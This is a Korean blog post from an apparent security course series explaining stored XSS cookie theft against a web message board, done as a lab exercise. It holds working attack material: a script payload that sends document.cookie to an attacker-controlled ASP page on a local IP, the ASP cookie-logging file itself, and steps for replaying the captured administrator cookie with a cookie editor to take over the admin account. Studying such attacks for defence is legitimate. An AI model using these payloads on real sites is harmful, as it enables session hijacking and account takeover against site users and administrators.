네트워크 해킹 - 17. XSS(Cross Site Scripting)
by jennysgapXSS(Cross Site Scripting)
- 원격지의 공격자가 피해자의 cookie값을 획득하여 무인증으로 로그인 하는 형태
> 브라우저의 URL에 javascript:document.cookie 입력 (cookie 값 확인 시)
- cookie 값 획득을 위해 공격자는 피해 서버의 게시판에 공격용
스크립트를 업로드하고 이를 이용해 상대의 cookie 값을 획득
- Paros proxy, cooxie toolbar와 같이 브라우저에 cookie값을 변경할 수 있는 도구를 이용하여 강제 로그인함.
1. 공격 단계
* cookie를 인증값으로 사용하는 통신에서만 가능함.
* 게시판에 <script> 기능 사용할 경우 쉽게 접근 가능.
2. script 사용이 가능한 지 테스트
-> 게시판 접속
-> 글 작성
<script>alert(document.cookie)</script>
-> 위 작업이 성공할 경우 공격 프로그램 업로드.
<%
testfile=server.MapPath("getcookie.txt")
msg=request("msg")
set fs=server.CreateObject("Scripting.FileSystemObject")
set thisfile=fs.OpenTextFile(testfile,8,true,0)
thisfile.writeline(""&msg&"")
thisfile.close
set fs=nothing
%>
getcookie.asp로 저장하여 파일 업로드 한다.
-> 게시글 작성
게시물 작성 :
<script>document.location="http://192.168.4.146/board/pds/getcookie.asp?msg="
+document.cookie</script>
위 내용을 텍스트 영역에 포함 시킨다.
* 관리자가 해당 글을 읽게 되면 관리자의 cookie 값이 남게 된다.
-> URL로 cookie 값이 남은 파일에 직접 접근하여 cookie 값을 취한다.
-> cooxie toolbar 등을 이용해 획득 된 관리자의 cookie를 공격자의
브라우저에 세팅한다.
-> Reload 하면 계정이 변경 된다.
3. Cxi12Setup.exe 사용법
Cxi12Setup.exe
브라우저 오른쪽 위를 보면 edit cookie 아이콘이 있음
4. 실습
게시판 접속 → 로그인
게시물 작성
게시물이 '아!' 만 보이면 작업 실패
게시물을 읽었을 때, 아래같은 창이 뜨면(성공) 공격 프로그램 업로드 진행
getcookie.asp로 저장하여 파일 만들기
게시글 작성 → getcookie.asp 파일 첨부 → 아래 이미지를 참고하여 게시물 업로드
<script>document.location="http://192.168.4.153/board/pds/getcookie.asp?msg=" +document.cookie</script>
텍스트 영역에 포함하여 게시글 작성
* 관리자가 해당 글을 읽게 되면 관리자의 cookie 값이 남게 된다.
URL로 cookie 값이 남은 파일에 직접 접근하여 cookie 값을 취한다.
URL 주소 확인하는 방법 → 파일 속성 클릭 → 주소에서 asp를 txt로 변경 후 검색창에 입력
검색 → cookie 값 확인
cooxie toolbar 등을 이용해 획득 된 관리자의 cookie를 공격자의 브라우저에 세팅한다.
-> Reload 하면계정이 변경 된다. 회원1에서 jenny(관리자)로 계정 변경 완료!
'BOX' 카테고리의 다른 글
맥북(Macbook) 캘린더에 네이버 캘린더 연동 (0) | 2016.12.21 |
---|---|
Reverse Engineering - 01. 리버스 엔지니어링 (0) | 2016.12.21 |
네트워크 해킹 - 16. sniffing을 이용한 web 데이터 도청 (0) | 2016.12.21 |
Baekjoon Online Judge (0) | 2016.12.20 |
Windows 공식홈페이지에서 ISO 다운로드하는 방법 (0) | 2016.12.20 |
블로그의 정보
jennysgap
jennysgap